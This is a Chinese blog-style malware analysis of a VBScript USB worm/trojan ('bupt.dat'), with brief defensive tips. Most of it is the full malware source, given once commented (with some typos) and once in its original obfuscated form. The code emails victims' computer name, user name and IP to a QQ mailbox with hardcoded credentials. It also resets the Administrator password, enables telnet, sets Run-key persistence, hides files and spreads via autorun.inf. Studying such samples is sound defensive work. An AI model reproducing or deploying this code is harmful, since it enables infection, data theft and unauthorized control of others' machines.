“北邮男生木马”代码全注释

上周的某一天，我同事忽然发现自己电脑不太对劲，经查看原来是中了木马。比较有意思的是，可以通过一个bupt.dat的文件来查看该木马的某些实现细节。由于bupt是北邮的简称，所以我有充分的理由相信该木马是北邮某个学生搞的。“北邮男生”是我们给这个木马起的名字，至于为什么叫“男生”而不是“女生”或者其它代号，可以通过下面的代码自己寻找答案。Ps:请不要试图查找有关“北邮男生”木马的信息，也许它会被冠以其他名字。Psps：截止到2009/10/19，通过关键字“bupt.dat”百度无法搜索到任何相关信息，google可以搜索到2条相关信息。
原创文章，转帖请注明出处：blog.csdn.net/sjdev

不得不说

我在CSDN上发表了这个文章的一个简短版本，部分网友表示“这个木马太简单”。我想说的是：1.论坛上发表的只是整个脚本的一部分，因为输入有限制。2.这个木马还包含其他文件。因为很明显，脚本是不可能自动执行的。这些其他的文件包括：一个autorun.inf、一个scs、一个svchost(其实这个是WScript.exe，请详看代码注释说明)、还包括tlntsvr服务。
另外：我重新使用bupt.dat关键字搜索了一下，大家可以分析一下google的结果。

主代码部分

'
'1.主体函数部分
'
'当运行脚本时，主体函数部分代码依次执行
'所以分析脚本“主体函数部分”可以看出脚本程序执行思路
On Error Resume Next
'创建文件系统对象，用于文件操作
Set fso = CreateObject("Scripting.FileSystemObject")
'创建Shell对象
Set WshShell = CreateObject("WScript.Shell")
'创建NetWork对象
Set WshNetWork = WScript.CreateObject("Wscript.NetWork")

'脚本的全路径名，如J:/Butp.dat
ThisPath = WScript.ScriptFullName
'1 for system folder.通常返回值是C:/Windows/System32
SysDir = fso.GetSpecialFolder(1) & "/"
'从SysDir从截取Windows目录，如C:/Windows/System32截取后为C:/Windows/
WinDir = Left(SysDir, 11)

SvcHost = "svchost.exe"
FnSys = "svchost.dat"
FnSysExe = "scs.exe"
FnMail = "liam.dat"
FnuTray = "bupt.dat"
FnuTrayExe = "scs"

'Copy脚本的副本
Set file = fso.OpenTextFile(ThisPath, 1)  '1 for readonly
VBScriptCopy = file.ReadAll
file.Close
Set file = Nothing

IF LCase(SysDir) = LCase(Left(ThisPath, Len(SysDir))) Then
'如果脚本文件位于系统目录(system32)下
Call SendMail
Call SetupBD
Call ListEnuTray
Else
'不显示隐藏文件
WshShell.RegWrite "HKCU/SoftWare/Microsoft/Windows/CurrentVersion/Explorer/Advanced/showsuperhidden", 0, "Reg_DOWRD"
WshShell.RegWrite "HKCU/SoftWare/Microsoft/Windows/CurrentVersion/Explorer/Advanced/superhidden", 1, "Reg_DOWRD"
WshShell.Run(Left(ThisPath, 2))  '2,最小化窗口

IF Not fso.FileExists(SysDir & FnSys) or Not fso.FileExists(SysDir & FnSysExe) or Not fso.FileExists(WinDir & SvcHost) Then
Call InfectSys
End IF
End IF
'脚本“主体函数部分”结束

'
'2.功能函数部分
'
'“功能函数部分”的代码不会自动执行，除非“主体函数部分”调用到它
'要分析“功能函数部分”需要根据其“主体函数部分”上下文。

'2.1发送Email.
Sub SendMail
On Error Resume Next
'获取本机ip，并根据(小偷程序原理,网上用的较多)ip获取ip所在地理位置
'然后把信息打包
ComputerName = "计算机名:" & WshNetWork.ComputerName
UserName = "当前用户名:" & WshShell.ExpandEnvironmentStrings("%UserName%")
Url = "http://www.ip138.cn"  '注意,这个是ip地址查询的网站
Html = GetHttpPage(Url)
PlaceBegin = Instr(1, Html, "你当前的IP为")
PlaceEnd = Instr(PlaceBegin, Html, VBCRLF)
Place = mid(Html, PlaceBegin, PlaceEnd - PlaceBegin)
Msg = ComputerName & "," & UserName & "," & Place
Title = GetIp(".")

'将发送信息打包存放在system32/liam.dat中，目的是防止重复发送email
'注，如果你的电脑已经中招，使用记事本打开liam.dat可以看到你自己系统的信息
IF fso.FileExists(SysDir & FnMail) Then
Set file = fso.OpenTextFile(SysDir & FnMail, 1)
OldMsg = file.ReadAll
file.Close
Set file = Nothing
IF OldMsg = Msg Then
Exit Sub
End IF
End IF
Call WriteFile(SysDir & FnMail, Msg)

'使用cdo发送邮件，邮件内容就是上面搜集信息的打包
'此处使用的是qq邮箱，采用的是自己发送到自己的方式(shader.butp@qq.com)
'我曾经使用qq查找过shader.bupt@qq.com这个账号,因为不是主显账号，查不到
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set EMail = CreateObject("Cdo.Message")
EMail.From = "shader.bupt@qq.com"
EMail.To = "shader.bupt@qq.com"
EMail.Subject = Title
EMail.TextBody = Msg & "," & Now
With EMail.Configuration.Fields
.Item(NameSpace & "SendUsing") = 2
.Item(NameSpace & "SmtpServer") = "smtp.qq.com"
.Item(NameSpace & "SmtpServerPort") = 25
.Item(NameSpace & "SmtpAuthenticate") = 1
.Item(NameSpace & "SendUserName") = "shader.bupt"
.Item(NameSpace & "SendPassword") = "52162"
.UpDate
End With

EMail.Send
End Sub

'2.2在目标电脑上植入信息
Sub SetupBD
On Error Resume Next
IF LCase(WshNetWork.UserName) <> "administrator" Then
'设置管理员密码
Set objUser = GetObject("WinNT://./administrator, user")
objUser.SetPassword "52162"
objUser.SetInfo

'添加自启动服务
WshShell.RegWrite "HKLM/System/Controlset001/services/tlntsvr/start", 2, "REG_DWORD"
End IF
End Sub

Sub ListEnuTray
On Error Resume Next

'设置autorun文件中要写入的内容
TimeCounter = 1
CmdStr = "Shell/*/CommAnd=Wscript.exe /e:VBS " & FnuTray
AutoRunStr = "[autorun]" & VBCRLF & "open=" & VBCRLF & Replace(CmdStr, "*", "open") & VBCRLF & Replace(CmdStr, "*", "Explorer") & VBCRLF & Replace(CmdStr, "*", "find"))

Do
for each drv in fso.drives
IF fso.GetDrive(drv).DriveType = 1 And fso.GetDrive(drv).IsReady Then  '1 for Removeable
IF fso.GetDrive(drv).FileSystem = "FAT32" Then
FStype = "1"
Else
FStype = "2"
End IF

IF fso.FileExists(drv & "/autorun.inf") Then
'如果优盘目录下存在autorun.inf,判断其内容是否已经被更改,如果被更改就重建.
Set file = fso.OpenTextFile(drv & "/autorun.inf", 1)
OldAutoRunStr = file.ReadAll
file.Close
Set file = Nothing

IF OldAutoRunStr <> AutoRunStr Then
IF FStye = "2" Then
Call WriteFile(drv & "/autorun.inf", AutoRunStr)
Else
WshShell.Run(SysDir & FnSysExe & " " & drv & " " FStype)
End IF
End IF
Else
'如果优盘目录下不存在autorun.inf,创建该文件.
IF FStype = "2" Then
Call WriteFile(drv & "/autorun.inf", AutoRunStr)
Else
WshShell.Run(SysDir & FnSysExe & " " & drv & " " & FStype)
End IF
End IF

IF TimeCounter > 10 Then
IF Not fso.FileExists(drv & "/" & FnuTray) Then
Call WriteFile(drv & "/" & FnuTray, vs(VBScriptCopy))
End IF

IF Not fso.FileExists(drv & "/" & FnuTrayExe) Then
fso.GetFile(SysDir & FnSysExe).Copy(drv & "/" & FnuTrayExe)
fso.GetFile(drv & "/" & FnuTrayExe).Attributes = 7 '加上系统，只读，隐藏属性
End IF
End IF
End IF
Next

IF TimeCounter > 10 Then
TimeCounter = 1
WshShell.RegWrite "HKLM/Software/microsoft/windows/currentversion/run/svchost", WinDir & SvcHost & " /e:vbs " & SysDir & FnSys

IF Not fso.FileExists(SysDir & FnSys) Then
Call WriteFile(SysDir & FnSys, VS(VBScriptCopy))
End IF
ELSE
TimeCounter = TimeCounter + 1
End IF

WScript.Sleep 1000
Loop
End Sub

'2.3感染系统
Sub InfectSys
On Error Resume Next
'将执行脚本的动作加入启动项,注意执行脚本的是SvcHost.exe
WshShell.RegWrite "HKLM/Software/microsoft/windows/currentversion/run/svchost", WinDir & SvcHost & " /e:vbs " & SysDir & FnSys

'在系统目录查找是否存在svchost.dat,存在的话,删除它
IF fso.FileExists(SysDir & FnSys) Then
fso.DeleteFile SysDir & FnSys, TRUE
End IF
'重建svchost.dat文件
Call WriteFile(SysDir & FnSys, vs(VBScriptCopy))

'在系统目录下查找是否存在svchost.exe，存在的话,删除它,然后重建.
IF fso.FileExists(WinDir & SvcHost) Then
fso.DeleteFile WinDir & SvcHost, TRUE
End IF
'重建svchost.exe,注意,这个所谓的svchost.exe无法就是wscript.exe的一个copy
fso.GetFile(SysDir & "WScript.exe").Copy(WinDir & SvcHost)
fso.GetFile(WinDir & SvcHost).Attributes = 7  '加上系统，只读，隐藏属性

'在系统目录下查找是否存在scs.exe，存在的话，删除它，然后重建.
IF fso.FileExists(SysDir & FnSysExe) Then
fso.DeleteFile SysDir & FnSysExe, TRUE
End IF
'重建scs.exe,注意,这个scs.exe是scs的一个copy.而scs无法就是原scs.exe去掉扩展名的版本.
'中了该木马的电脑,可以在优盘根目录下看到scs这个文件
fso.GetFile(FnuTrayExe).Copy(SysDir & FnSysExe)
fso.GetFile(SysDir & FnSysExe).Attributes = 7 '加上系统，只读，隐藏属性

'执行脚本
WshShell.Run(WinDir & SvcHost & " /e:vbs " & SysDir & FnSys)
End Sub

'2.4 写文件
Sub WriteFile(fPath, content)
On Error Resume Next
'注，原脚本中此处使用了一点小技巧用于逃避杀毒软件的扫描(也可能只是为了混淆)
'请注意与原代码对比
IF fso.FileExists(fPath) Then
fso.DeleteFile fPath, TRUE
Set fc = fso.OpenTextFile(fPath, 2, TRUE)
fc.Write content
fc.Close
Set fc = Nothing
set fa = fso.GetFile(fPath)
fa.Attributes = 7 '文件属性
Set fa = Nothing
End Sub

'2.5 随机替换str中字符大小写(VBS中不区分大小写)
Function VS(str)
On Error Resume Next
'注，原脚本中此处使用了一点小技巧用于逃避杀毒软件的扫描(也可能只是为了混淆)
'请注意与原代码对比
For i = 1 to Len(str)
c = UCase(Mid(str, i, 1))
Randomize
if Int(Rnd()*100 > 50) Then
VS = VS & LCase(c)
Else
VS = VS & c
End IF
Next

VS = Replace(VS, UCase("%U", LCase("%u"))
End Function

'2.6获取目标计算机的IP地址
Function GetIP(ComputerName)
On Error Resume Next
'使用wmi获取目标计算机的ip地址
Dim ObjWMIService, ColItems, ObjItem, ObjAddress
Set ObjWMIService = GetObject("Winmgmts://" & ComputerName & "/root/cimv2")
Set ColItems = ObjWMIService.ExecQuery("Select * from win32_networkAdapterConfiguration where ipEnabled = TRUE")
For Each ObjItem IN ColItems
For Each ObjAddress in ObjItem.IPAddress
IF ObjAddress <> "" Then
GetIP = ObjAddress
Exit For
End IF
Next
Next
End Function

'2.7获取目标网页的html代码
Function GetHttpPage(Url)
On Error Resume Next
Dim Http
Set Http = CreateObject("MSXML2.XMLHttp")
Http.Open "Get", Url, FALSE
Http.Send()
IF Http.ReadyState <> 4 Then
Exit Function
End IF
GetHttpPage = BytesToBSTR(Http.ResponseBody, "GB2312")

Set Http = Nothing
IF Err.Number <> 0 Then Err.Clear
End Function

'2.8转换内容的CharSet
Function BytesToBSTR(Body, CharSet)
On Error Resume Next
Dim ObjStream
Set ObjStream = CreateObject("AdoDB.Stream")
ObjStream.Type = 1
ObjStream.Mode = 3
ObjStream.Open
ObjStream.Write Body
ObjStream.Position = 0
ObjStream.Type = 2
ObjStream.Charset = CharSet
BytesToBSTR = ObjStream.ReadText
ObjStream.Close
Set ObjStream = Nothing
End Function
'“功能函数部分”结束

注意：原bupt.dat中代码是打乱的，有兴趣的可以下载原bupt.dat看看
像GetIP，GetHttpPage，BytesToBSTR等函数，就不再一一描述了。一来比较简单，二来网上介绍这些代码(甚至有些地方代码都完全一样)已经介绍的比较多了。有兴趣的可以Google一下。

我们该做些什么

分析了上面的代码之后，我们就大致了解了木马的感染方式。它的传播途径是：路人甲的系统不小心感染了“北邮男生”木马，当路人甲在自己的系统上在使用U盘时， 木马被植入到U盘。(当然，也可以说路人甲U盘被感染木马后由U盘感染系统)。当路人乙使用路人甲的U盘或在路人甲系统上使用U盘时，病毒感染路人乙的系统或U盘。然后路人乙又感染了路人丙，路人丙感染了路人丁……。就这样，病毒在U盘、电脑之间来回感染。最终小强、旺财的电脑都中了木马。
正所谓“解铃还须系铃人”，通过分析代码，我们大致可以分析出删除或防止木马的方法。(这个，有空再说吧)

防黑红宝书

1.使用“U盘|右键|打开(资源管理器/搜索)”的功能来打开U盘并不安全。安全的做法是：在Windows开始菜单的“开始”按钮上点击右键，选择“资源管理器”，在打开的资源管理器的资源树中访问U盘。如果你觉得这样麻烦，还有一种办法：进入命令提示符，切换到U盘所在根目录，输入mkdir autorun.inf(回车)，然后输入chkdir autorun.inf(回车)，然后输入mkdir sjdev../(回车)。或者点击下载这个文件，在U盘根目录下双击执行。
2.只要设置了合适的参数，任何扩展名的文件都可执行。(该木马通过开机运行，优盘自动播放等设置执行了bupt.dat中的脚步代码)
3.没有什么杀毒软件是通杀的，我们唯一能信任的是我们的大脑。在上网冲浪时，尽量不去点击那些“杂七杂八”的网址或链接，这样我们才能远离病毒或木马。

附录(原木马下的脚本代码)

ON ERrOR ResUme nExt
SeT fSo=creAteoBjEcT(strREVERSE("tcEJBOmEtsYSeLIf.GNItPirCS"))
SEt WShsheLL=crEAteObjEcT(strREVERSe("lLEHs.tpircsW"))
SeT WShNetwoRk=WsCript.crEAteOBJect(sTrrEverse("kROwtEn.tPircsW"))

ThispaTH=WScriPT.scRIPTfulLNAME
sYsdiR=fSo.GEtSPeCIALfoLdeR(1)&"/"
WiNdir=lEft(SySdIr,11)

SVChosT=LCaSe("SvCHosT.ExE")
FNSyS="svCHost."&ucaSE("Dat")
fnsYSEXE=lcasE("scs.exe")
FnmAiL="LiAm."&UcaSe("dat")

fNUTray="BupT."&lcaSe("daT")
fnutRAYEXe=lCase("SCS")

SEt FILE=fsO.OPEnteXtfiLE(ThiSPaTH,1)
vbScrIpTcoPY=fILe.readaLl
FiLe.closE
SET File=NOThIng

If LCAsE(sYSDIR)=LCasE(left(ThisPAth,leN(SysdiR))) Then
CAll sendmAiL
cAlL SEtUpbd
caLl listEnuTRay
Else
WshShell.rEgWRitE ucAse("HKCU/s")&lcase("OFTwarE/")&UCASe("M")&LcasE("iCRoSofT/")&uCASE("W")&lCasE("iNDoWs/")&UcasE("c")&lcASE("URRent")&UcAse("v")&lCASe("eRSION/")&ucASe("e")&lcASe("xpLoRer/")&UCASe("a")&lcase("dVaNCed/")&UCaSe("s")&LcAse("How")&uCASe("s")&lCase("uPeR")&UcasE("h")&LCAsE("idden"),0,ucaSE("rEG_DworD")
wshShelL.rEgwRItE uCASE("HkcU/S")&LCaSE("oftwaRe/")&UcAse("M")&LCASe("ICROsOft/")&UcaSE("W")&LCASe("IndOWs/")&UcasE("c")&LcAse("URRENT")&uCASe("v")&lCaSE("ErSiON/")&ucAse("E")&lCasE("xPLOrer/")&uCase("a")&LcaSe("DvancED/")&UcAse("s")&LCase("UpeR")&ucaSE("H")&LcasE("IddEN"),1,UCAse("rEg_dwORD")
WshsheLl.rUn(lEft(tHISPATH,2))
iF nOT FSo.FILeExiSTS(SySDIr&FNsys) Or nOT fSo.FiLeexiSTS(SYsdir&FNsysexe) Or Not fSo.FiLeexiSts(wIndir&svCHosT) then
Call inFeCTsyS
end IF
EnD If

SUB SendMAIl
ON errOR REsumE neXT
CoMPUTERNAME="计算机名:"&wSHNETWoRk.comPuteRnamE
usERNAME="当前用户名:"&WshSHeLL.eXPAnDenVIRONmENTstRIngs("%useRNamE%")
url=LcASE("htTP://wWw.ip138.cn")
HtMl=gEtHtTPPAge(URl)
PLAcebegin=Instr(1,hTMl,"你当前的"&ucASe("Ip")&"为")
PLAceeND=InStR(plaCEBEGin,HtmL,VbCRlF)
PLACE=miD(hTmL,pLACEBEgIn,plaCeenD-plAcebeGIN)
MSg=COMPUtErnAMe&","&USeRnaME&","&PLacE
titLe=geTIp(".")

if FsO.FileeXISts(Sysdir&FNmaIl) ThEn
SeT FILE=fSO.opENteXTFile(sysdIr&fnmaIl,1)
oldMsg=fILe.REadAll
fILE.ClosE
SeT FIle=NOTHIng
IF oLDmSG=MSG THEn
ExIt SUB
End if
enD if

cALL WRITeFILE(SySdiR&fNMaiL,MsG)

NAmESPacE=lcasE("htTP://scHemas.mICrOSOft.cOM/cdo/configURatIoN/")
seT EmAIL=crEATeoBJecT("cdo.messAge")
EmAIl.From=lcasE("SHAdeR.buPt@QQ.Com")
EmAiL.to=LCASE("sHadER.bUPt@QQ.COM")
eMaiL.SubJECT=TiTle
eMail.texTbody=MSG&","&NOW
WiTh EMaIL.cONFiGurATION.FIEldS
.itEm(naMEspAce&lcase("SeNDUsing"))=2
.item(NAmeSpAcE&LcasE("sMTPSerVER"))=lcASE("smtp.qQ.com")
.IteM(naMespaCE&LCAse("smTpSERVErpoRT"))=25
.iTEM(NameSpaCE&lCAsE("SMTPAUTheNtiCaTe"))=1
.Item(nAmesPace&lcasE("SENDUsERNAME"))=LCaSE("SHAdEr.BUPT")
.itEM(namEspacE&lcAse("sendpASsWORd"))="52162"
.upDAte
EnD With
EmAIL.seND
eND sUB

sub sEtupbd
oN erRor ResumE nEXT
If lCaSE(WShneTWoRk.uSErnaME)<>lcaSe("ADmINiSTRATOR") thEn
sTrcOMPUTEr = "."
seT obJuser = GETOBjECT(UCaSe("W")&lcASE("in")&UCaSE("nT://") & stRComPutEr & "/ADmINIstraTOR, uSer")
OBjuSeR.SeTpasSwOrD "52162"
OBjuSER.setinfo
wshshElL.reGwriTe ucASe("HklM/syStEM/C")&lCAsE("oNTrol")&UCase("s")&lCAsE("ET001/")&UcaSe("s")&LCAsE("ervIces/")&Ucase("t")&LcASE("lnT")&ucAse("s")&lCAsE("vR/")&uCaSE("s")&LcaSE("TARt"),2,ucAse("ReG_dWorD")
eNd IF
ENd SuB

SUB liSTEnUtRaY
on ERROr REsuME nEXt
TIMECOUNteR=1
CmDSTR="ShEll/*/CommAnd=WscRiPT.EXE /e:VBS "&FnutRay
aUTOrUnSTR=LCaSE("[AUtOrUN]"&VBCrLF&"Open="&vBcRLF&repLACe(cMdstR,"*","OpEn")&vbcrlF&REPLacE(CmdSTr,"*","EXPlorE")&VBcRlf&rePlaCE(CmdSTr,"*","fInD"))

dO
fOr eACh dRV IN FSO.dRIVeS
iF FSO.GETdrIve(dRv).DRIVEtYpe=1 And Fso.GetDrIVE(DRV).ISREADy theN
iF FsO.GETDRIvE(Drv).fIlESysTEM=uCAsE("fat32") THEn
FStypE="1"
eLSeIf fSo.getDrIVE(drV).fiLEsYSTEm=UCAse("fat") TheN
fSTyPe="0"
eLsE
FSTYpe="2"
ENd iF
iF Fso.FIlEExiSTS(DRV&"/aUtoRuN.INF") ThEn
Set File=fsO.OPENTEXTfILE(DRv&"/aUtoRun.INf",1)
oLDAutORuNsTR=fILE.rEAdALl
fiLe.CLose
set filE=noThINg
if oLdAUTOruNSTr<>AuTORUnSTR theN
iF fStyPE="2" ThEN
cALL WriTEFiLe(dRV&lcASE("/AUTorUN.iNF"),AUTORUNStr)
ELSE
WshsHell.ruN(SYSDIR&FnSYSEXE&" "&Drv&" "&FsTyPE)
eND If
ENd If
else
if fSTYpe="2" Then
cAlL writEfILE(drV&LcaSE("/AUtORUN.inF"),AUtOruNstR)
eLSe
wShShELL.Run(SYsDiR&FNsysEXE&" "&Drv&" "&FstYPE)
eNd If
END If
iF timEcouNteR>10 THEN
IF Not Fso.fiLEExIsTS(DRV&"/"&fNUtRaY) tHEN
Call wriTeFILe(drV&"/"&FnutRay,Vs(VbScRiPtcopy))
END iF
iF NOt fSo.fILeExiSts(drV&"/"&FNuTRAyeXe) ThEN
FSo.gEtFIle(SYSDIr&FNsySEXe).coPY(DRV&"/"&FnuTrAyEXE)
fso.GetfILe(drV&"/"&FnUTRaYEXE).aTtriButEs=7
END If
eNd IF
eND IF
neXT

if TiMECountER>10 Then
tiMeCOuNter=1
WSHsHELL.rEGWriTE UCaSe("HKlm/S")&LCaSe("oFTwARE/")&UCaSe("m")&LCASE("IcrOSOfT/")&UcasE("W")&LcASE("InDowS/")&UcASe("c")&LcASE("URrEnt")&UcasE("v")&LcaSE("ERSiON/")&uCase("r")&lcASe("UN/SVchOSt"),WINDIr&SVCHoSt&LCAse(" /E:VBS ")&SYSdir&fnsYs
IF Not Fso.FILeEXISts(SYsdIR&FNsYs) THen
CALl wrItEFiLE(sYsdIR&FnSys,vS(VBSCRIPtcOPY))
End IF
ElSE
TIMECoUntER=TIMeCOunTer+1
END IF

wscRIpt.SLeep 1000
LoOP
END sUb

Sub infeCTsyS
ON erROr ReSUME nEXT
wShsHELl.regwRiTE ucasE("hklM/s")&lcAsE("OftwAre/")&uCASE("M")&lCAsE("IcROSOft/")&UCAsE("W")&lCASe("iNDoWs/")&uCASE("C")&lCASe("urREnt")&UCAsE("V")&LCaSe("ERSIOn/")&UcaSe("R")&LCAsE("un/SvchOSt"),WIndIR&sVCHoST&LcAsE(" /e:Vbs ")&sySDIR&FnsYS

IF FSo.FILEeXisTS(sysdir&fNSYs) tHEN
fSo.dEletEfILe sysDir&FNSyS,TRue
End If
cAlL WRiteFilE(SySdiR&FNsYS,vS(vBScRiPtcOpY))

IF fSO.fIleeXIsts(WINDiR&sVCHOST) thEN
FSo.DelEteFiLe WINDIR&SvchoST,trUE
enD if
FsO.GeTFILe(sYsdiR&"WscriPT.eXE").CopY(wiNdIR&SVcHOST)
fsO.Getfile(wINDir&sVCHost).atTribUtES=7

if FSO.FILEexISTs(SYsDIr&fNSYSexe) tHEN
fsO.DElETEfIle SySdIr&FnSYSEXE,TRue
EnD if
fso.GETFiLE(FNUTRAyExe).COPY(SYsdIr&FnSySEXE)
fSo.geTFile(SysdiR&fnSYSeXE).ATTRiBuTeS=7

wSHShElL.rUN(wINDiR&SvchOST&" /E:VBs "&SysdiR&FnSYs)
eND SUb

SuB wRItEfILe(fpatH,ConTEnT)
ON eRROR resuMe Next
eXeCUte stRRevERSE(uNeScApe("gNiHTON%3DAF%20TES%0D%0a7%3dSEtuBiRtTa.AF%0D%0A%29hTApF%28ELIFtEG.Osf%3DAf%20tEs%0d%0AGNIHToN%3dCF%20TeS%0d%0AeSOLc.cF%0D%0aTNEtNoC%20ETIrw.CF%0D%0A%29eurT%2c2%2chTaPF%28eLifTXeTNePO.OsF%3Dcf%20tEs%0D%0aEuRT%2CHTApf%20EliFeteled.oSF%20neHT%20%29HtApF%28stSiXeELIF.OSF%20FI"))
End Sub

FuNcTiON vS(sTR)
oN eRrOr RESuME Next
ExecUtE STrreVERSE(uNeScAPE("%29%29%22u%25%22%28ESAcL%2c%29%22U%25%22%28EsACu%2csv%28eCAlpeR%3DsV%0D%0ATxEN%0D%0aFI%20dne%0D%0AC%26Sv%3DsV%0D%0aesLe%0d%0a%29c%28eSacL%26SV%3DsV%0d%0anEhT%2005%3E%29001*%29%28dnR%28Tni%20fI%0D%0AEzIMODnaR%0D%0a%29%291%2ci%2CRts%28DiM%28eSACU%3dC%0d%0A%29rTS%28NEl%20oT%201%3Di%20rOf"))
ENd FUNcTIoN

funCTIoN getIp(CoMPuTerNAmE)
On eRRoR resUmE nEXt
DiM ObJWMIserviCe,ColitemS,OBjiTem,ObjADDREsS
sEt oBjWmISERvICE = GETOBjECt("WinMGmtS://" & CoMPuTERNamE & "/rOOT/cIMv2")
SEt cOlItEMs = OBJWMiSeRvICE.eXeCQUeRY("SELeCt * FROm WIn32_netWORkaDAPtERcONfIguraTIOn WherE IPeNAbLed = TRuE")
FOr each oBjiTEm iN COLiTEMS
foR each ObJAddResS in oBJITEm.iPaDdReSS
iF OBjadDRESS <> "" THeN
GetIp = OBJaDDrEss
ExIT FOR
End If
NeXt
NEXT
ENd fUnCtION

FuNCtIOn gethTTPPAGe(urL)
on erROr ReSUmE NExT
dIM HttP
sET Http=CReaTeobjEcT("MsxMl2.XmLhtTP")
HtTp.OPEN "GET",uRL,FalsE
HTtp.SEnD()
IF HttP.rEaDySTATe  <> 4 tHEn
eXIT FUNCtIoN
eND IF
GeTHTTPPaGE=bytEsToBSTr(HTTp.ReSPoNseboDY,"GB2312")

SEt HtTP=NoTHiNg
If erR.NumBEr  <> 0 tHEn Err.cLeAr
End FuNctION

fUnCtION BytESTObsTR(Body,CSET)
on ERrOr REsUMe NEXt
DIM OBjStreaM
sEt OBJSTREaM = CReAteOBjECt("ADoDb.STREAm")
ObjSTReAM.TYpE = 1
OBJstream.MOdE =3
obJsTReAm.OpEn
obJStrEam.wRiTe BodY
OBJStReAm.pOsITION = 0
oBJSTReaM.tyPE = 2
ObjStrEaM.CHARsET = cseT
bYtESTOBSTR = OBJStReaM.rEAdtEXT
OBJstrEaM.CLOse
Set oBJSTREam = NOthing
end FUNctioN